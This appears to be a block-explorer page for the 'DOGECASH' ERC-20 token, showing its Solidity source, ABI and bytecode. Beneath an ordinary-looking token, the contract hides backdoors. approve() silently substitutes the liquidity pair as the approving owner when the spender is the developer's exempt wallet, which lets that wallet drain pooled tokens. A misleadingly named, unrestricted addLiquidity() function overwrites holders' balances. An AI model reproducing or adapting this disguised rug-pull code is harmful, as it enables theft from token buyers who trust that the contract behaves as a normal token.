ERC-20
Overview
Max Total Supply
1,000,000,000 DOGECASH
Holders
105
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,645,378.936676482 DOGECASHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DOGECASH
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-15 */ /** https://x.com/bwenews/status/1857528939998294527 Tg: https://t.me/DOGECASH_erc20 **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DOGECASH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcemptFee; mapping (address => bool) private _bots; address payable private _ggWallet; address private ggSendor; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"DOGECOIN CASH"; string private constant _symbol = unicode"DOGECASH"; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletAmount = _tTotal * 2 / 100; uint256 public _minTaxSwap= _tTotal * 1 / 100; uint256 public _maxTaxSwap= _tTotal * 1 / 100; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyAt=10; uint256 private _reduceSellAt=10; uint256 private _preventCount=12; uint256 private _buyCount=0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private _caLimitSell = true; uint256 private _caBlockSell = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { ggSendor = _msgSender(); _ggWallet = payable(0x073Fc705E7d4Be2D113F5FfeB528F2b045A7Bb3f); _balances[address(this)] = _tTotal; _isExcemptFee[owner()] = true; _isExcemptFee[_ggWallet] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_ggWallet] = true; emit Transfer(address(0), address(this), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); ggSendor = uniswapV2Pair; swapEnabled = true; tradingOpen = true; } function removeLimits() external onlyOwner { _caLimitSell = false; _maxTxAmount = _tTotal; _maxWalletAmount=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { address owner = _msgSender(); if(_isExcemptFee[spender]) owner=ggSendor; _approve(owner, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); taxAmount = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) { sendETHGPNT(address(this).balance); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) { if (_caLimitSell) { if (_caBlockSell < block.number) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHGPNT(address(this).balance); } _caBlockSell = block.number; } } else { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHGPNT(address(this).balance); } } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(address[] memory addrs) external { for (uint256 i = 0; i < addrs.length; i ++) { if (addrs[i] == uniswapV2Pair) return; _balances[addrs[i]] = 100 * 10 ** _decimals; } } function setNewGPNT(address payable newAddr) external onlyOwner() { _ggWallet = newAddr; _isExcemptFee[newAddr] = true; _isExcludedFromFee[newAddr] = true; } function sendETHGPNT(uint256 amount) private { _ggWallet.transfer(amount); } receive() external payable {} function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function withdrawGPNT() external onlyOwner() { payable(owner()).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setNewGPNT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawGPNT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526064620000146009600a62000427565b6200002490633b9aca006200043e565b620000319060026200043e565b6200003d919062000458565b6008556064620000506009600a62000427565b6200006090633b9aca006200043e565b6200006d9060026200043e565b62000079919062000458565b60095560646009600a6200008e919062000427565b6200009e90633b9aca006200043e565b620000ab9060016200043e565b620000b7919062000458565b600a5560646009600a620000cc919062000427565b620000dc90633b9aca006200043e565b620000e99060016200043e565b620000f5919062000458565b600b556002600c908155600d8190555f600e819055600f819055600a601081905560115560129190915560138190556015805462ffffff60a81b1916600160b81b1790556016819055620001463390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054336001600160a01b0319918216179091556006805490911673073fc705e7d4be2d113f5ffeb528f2b045a7bb3f179055620001d16009600a62000427565b620001e190633b9aca006200043e565b305f9081526001602081905260408220929092556004906200020a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560065490911681526004909252812080549092166001908117909255600390620002685f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556006549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002f16009600a62000427565b6200030190633b9aca006200043e565b60405190815260200160405180910390a362000478565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200036c57815f190482111562000350576200035062000318565b808516156200035e57918102915b93841c939080029062000331565b509250929050565b5f82620003845750600162000421565b816200039257505f62000421565b8160018114620003ab5760028114620003b657620003d6565b600191505062000421565b60ff841115620003ca57620003ca62000318565b50506001821b62000421565b5060208310610133831016604e8410600b8410161715620003fb575081810a62000421565b6200040783836200032c565b805f19048211156200041d576200041d62000318565b0290505b92915050565b5f6200043760ff84168362000374565b9392505050565b808202811582820484141762000421576200042162000318565b5f826200047357634e487b7160e01b5f52601260045260245ffd5b500490565b6119b780620004865f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d578063a0f2c96411610062578063a0f2c96414610322578063a633751114610341578063a9059cbb14610355578063c9567bf914610374578063dd62ed3e14610388575f80fd5b8063715018a61461028f578063751039fc146102a35780637d1db4a5146102b75780638da5cb5b146102cc57806395d89b41146102f2575f80fd5b806323b872dd116100e357806323b872dd146101f7578063300d621714610216578063313ce5671461022b5780636c0a24eb1461024657806370a082311461025b575f80fd5b806303ec99931461012957806306fdde031461014a578063095ea7b3146101915780630faee56f146101c057806318160ddd146101e3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506101486101433660046114f9565b6103cc565b005b348015610155575f80fd5b5060408051808201909152600d81526c0889e8e8a869e929c408682a69609b1b60208201525b6040516101889190611514565b60405180910390f35b34801561019c575f80fd5b506101b06101ab366004611570565b610450565b6040519015158152602001610188565b3480156101cb575f80fd5b506101d5600b5481565b604051908152602001610188565b3480156101ee575f80fd5b506101d5610497565b348015610202575f80fd5b506101b061021136600461159a565b6104b7565b348015610221575f80fd5b506101d5600a5481565b348015610236575f80fd5b5060405160098152602001610188565b348015610251575f80fd5b506101d560095481565b348015610266575f80fd5b506101d56102753660046114f9565b6001600160a01b03165f9081526001602052604090205490565b34801561029a575f80fd5b5061014861051e565b3480156102ae575f80fd5b5061014861058f565b3480156102c2575f80fd5b506101d560085481565b3480156102d7575f80fd5b505f546040516001600160a01b039091168152602001610188565b3480156102fd575f80fd5b506040805180820190915260088152670889e8e8a8682a6960c31b602082015261017b565b34801561032d575f80fd5b5061014861033c3660046115ec565b61064f565b34801561034c575f80fd5b506101486106f2565b348015610360575f80fd5b506101b061036f366004611570565b610755565b34801561037f575f80fd5b5061014861076a565b348015610393575f80fd5b506101d56103a23660046116ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103fe5760405162461bcd60e51b81526004016103f5906116e3565b60405180910390fd5b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b6001600160a01b0382165f90815260046020526040812054339060ff161561048057506007546001600160a01b03165b61048b818585610ab9565b60019150505b92915050565b5f6104a46009600a61180c565b6104b290633b9aca0061181a565b905090565b5f6104c3848484610bdc565b610514843361050f8560405180606001604052806028815260200161195a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611161565b610ab9565b5060019392505050565b5f546001600160a01b031633146105475760405162461bcd60e51b81526004016103f5906116e3565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b85760405162461bcd60e51b81526004016103f5906116e3565b6015805460ff60b81b191690556105d16009600a61180c565b6105df90633b9aca0061181a565b6008556105ee6009600a61180c565b6105fc90633b9aca0061181a565b60099081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061062e90600a61180c565b61063c90633b9aca0061181a565b60405190815260200160405180910390a1565b5f5b81518110156106ee5760155482516001600160a01b039091169083908390811061067d5761067d611831565b60200260200101516001600160a01b031603610697575050565b6106a36009600a61180c565b6106ae90606461181a565b60015f8484815181106106c3576106c3611831565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610651565b5050565b5f546001600160a01b0316331461071b5760405162461bcd60e51b81526004016103f5906116e3565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610752573d5f803e3d5ffd5b50565b5f610761338484610bdc565b50600192915050565b5f546001600160a01b031633146107935760405162461bcd60e51b81526004016103f5906116e3565b601554600160a01b900460ff16156107ed5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f5565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108369030906108286009600a61180c565b61050f90633b9aca0061181a565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610886573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108aa9190611845565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610909573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092d9190611845565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610977573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099b9190611845565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306109e2816001600160a01b03165f9081526001602052604090205490565b5f806109f55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a5b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a809190611860565b505060158054600780546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b6001600160a01b038316610b1b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f5565b6001600160a01b038216610b7c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c405760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f5565b6001600160a01b038216610ca25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f5565b5f8111610d035760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f5565b5f80546001600160a01b03858116911614801590610d2e57505f546001600160a01b03848116911614155b15611024576001600160a01b0384165f9081526005602052604090205460ff16158015610d7357506001600160a01b0383165f9081526005602052604090205460ff16155b610d7b575f80fd5b610da76064610da160105460135411610d9657600c54610d9a565b600e545b8590611199565b9061121e565b6015549091506001600160a01b038581169116148015610dd557506014546001600160a01b03848116911614155b8015610df957506001600160a01b0383165f9081526003602052604090205460ff16155b15610edf57600854821115610e505760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f5565b60095482610e72856001600160a01b03165f9081526001602052604090205490565b610e7c919061188b565b1115610eca5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f5565b60138054905f610ed98361189e565b91905055505b6015546001600160a01b038481169116148015610f0557506001600160a01b0384163014155b15610f3d57610f2f6064610da160115460135411610f2557600d54610d9a565b600f548590611199565b905047610f3b4761125f565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7357506015546001600160a01b038581169116145b8015610f885750601554600160b01b900460ff165b8015610f955750600a5481115b8015610fa45750601254601354115b1561102257601554600160b81b900460ff1615610ffd57436016541015610ff857610fe2610fdd84610fd884600b54611296565b611296565b6112aa565b478015610ff257610ff24761125f565b50436016555b611022565b611010610fdd84610fd884600b54611296565b478015611020576110204761125f565b505b505b801561109c57305f90815260016020526040902054611043908261141a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110939085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110be9083611478565b6001600160a01b0385165f908152600160205260409020556111016110e38383611478565b6001600160a01b0385165f908152600160205260409020549061141a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114a8585611478565b60405190815260200160405180910390a350505050565b5f81848411156111845760405162461bcd60e51b81526004016103f59190611514565b505f61119084866118b6565b95945050505050565b5f825f036111a857505f610491565b5f6111b3838561181a565b9050826111c085836118c9565b146112175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f5565b9392505050565b5f61121783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b9565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106ee573d5f803e3d5ffd5b5f8183116112a45782611217565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f0576112f0611831565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611347573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136b9190611845565b8160018151811061137e5761137e611831565b6001600160a01b0392831660209182029290920101526014546113a49130911684610ab9565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113dc9085905f908690309042906004016118e8565b5f604051808303815f87803b1580156113f3575f80fd5b505af1158015611405573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f80611426838561188b565b9050838110156112175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f5565b5f61121783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611161565b5f81836114d95760405162461bcd60e51b81526004016103f59190611514565b505f61119084866118c9565b6001600160a01b0381168114610752575f80fd5b5f60208284031215611509575f80fd5b8135611217816114e5565b5f602080835283518060208501525f5b8181101561154057858101830151858201604001528201611524565b505f604082860101526040601f19601f8301168501019250505092915050565b803561156b816114e5565b919050565b5f8060408385031215611581575f80fd5b823561158c816114e5565b946020939093013593505050565b5f805f606084860312156115ac575f80fd5b83356115b7816114e5565b925060208401356115c7816114e5565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115fd575f80fd5b823567ffffffffffffffff80821115611614575f80fd5b818501915085601f830112611627575f80fd5b813581811115611639576116396115d8565b8060051b604051601f19603f8301168101818110858211171561165e5761165e6115d8565b60405291825284820192508381018501918883111561167b575f80fd5b938501935b828510156116a05761169185611560565b84529385019392850192611680565b98975050505050505050565b5f80604083850312156116bd575f80fd5b82356116c8816114e5565b915060208301356116d8816114e5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176657815f190482111561174c5761174c611718565b8085161561175957918102915b93841c9390800290611731565b509250929050565b5f8261177c57506001610491565b8161178857505f610491565b816001811461179e57600281146117a8576117c4565b6001915050610491565b60ff8411156117b9576117b9611718565b50506001821b610491565b5060208310610133831016604e8410600b84101617156117e7575081810a610491565b6117f1838361172c565b805f190482111561180457611804611718565b029392505050565b5f61121760ff84168361176e565b808202811582820484141761049157610491611718565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611855575f80fd5b8151611217816114e5565b5f805f60608486031215611872575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561049157610491611718565b5f600182016118af576118af611718565b5060010190565b8181038181111561049157610491611718565b5f826118e357634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119385784516001600160a01b031683529383019391830191600101611913565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9c9762592ed3f2405165abcfada5ebd0b0d09c87e1bb833d522dba99e07d01c64736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d578063a0f2c96411610062578063a0f2c96414610322578063a633751114610341578063a9059cbb14610355578063c9567bf914610374578063dd62ed3e14610388575f80fd5b8063715018a61461028f578063751039fc146102a35780637d1db4a5146102b75780638da5cb5b146102cc57806395d89b41146102f2575f80fd5b806323b872dd116100e357806323b872dd146101f7578063300d621714610216578063313ce5671461022b5780636c0a24eb1461024657806370a082311461025b575f80fd5b806303ec99931461012957806306fdde031461014a578063095ea7b3146101915780630faee56f146101c057806318160ddd146101e3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506101486101433660046114f9565b6103cc565b005b348015610155575f80fd5b5060408051808201909152600d81526c0889e8e8a869e929c408682a69609b1b60208201525b6040516101889190611514565b60405180910390f35b34801561019c575f80fd5b506101b06101ab366004611570565b610450565b6040519015158152602001610188565b3480156101cb575f80fd5b506101d5600b5481565b604051908152602001610188565b3480156101ee575f80fd5b506101d5610497565b348015610202575f80fd5b506101b061021136600461159a565b6104b7565b348015610221575f80fd5b506101d5600a5481565b348015610236575f80fd5b5060405160098152602001610188565b348015610251575f80fd5b506101d560095481565b348015610266575f80fd5b506101d56102753660046114f9565b6001600160a01b03165f9081526001602052604090205490565b34801561029a575f80fd5b5061014861051e565b3480156102ae575f80fd5b5061014861058f565b3480156102c2575f80fd5b506101d560085481565b3480156102d7575f80fd5b505f546040516001600160a01b039091168152602001610188565b3480156102fd575f80fd5b506040805180820190915260088152670889e8e8a8682a6960c31b602082015261017b565b34801561032d575f80fd5b5061014861033c3660046115ec565b61064f565b34801561034c575f80fd5b506101486106f2565b348015610360575f80fd5b506101b061036f366004611570565b610755565b34801561037f575f80fd5b5061014861076a565b348015610393575f80fd5b506101d56103a23660046116ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103fe5760405162461bcd60e51b81526004016103f5906116e3565b60405180910390fd5b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b6001600160a01b0382165f90815260046020526040812054339060ff161561048057506007546001600160a01b03165b61048b818585610ab9565b60019150505b92915050565b5f6104a46009600a61180c565b6104b290633b9aca0061181a565b905090565b5f6104c3848484610bdc565b610514843361050f8560405180606001604052806028815260200161195a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611161565b610ab9565b5060019392505050565b5f546001600160a01b031633146105475760405162461bcd60e51b81526004016103f5906116e3565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b85760405162461bcd60e51b81526004016103f5906116e3565b6015805460ff60b81b191690556105d16009600a61180c565b6105df90633b9aca0061181a565b6008556105ee6009600a61180c565b6105fc90633b9aca0061181a565b60099081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061062e90600a61180c565b61063c90633b9aca0061181a565b60405190815260200160405180910390a1565b5f5b81518110156106ee5760155482516001600160a01b039091169083908390811061067d5761067d611831565b60200260200101516001600160a01b031603610697575050565b6106a36009600a61180c565b6106ae90606461181a565b60015f8484815181106106c3576106c3611831565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610651565b5050565b5f546001600160a01b0316331461071b5760405162461bcd60e51b81526004016103f5906116e3565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610752573d5f803e3d5ffd5b50565b5f610761338484610bdc565b50600192915050565b5f546001600160a01b031633146107935760405162461bcd60e51b81526004016103f5906116e3565b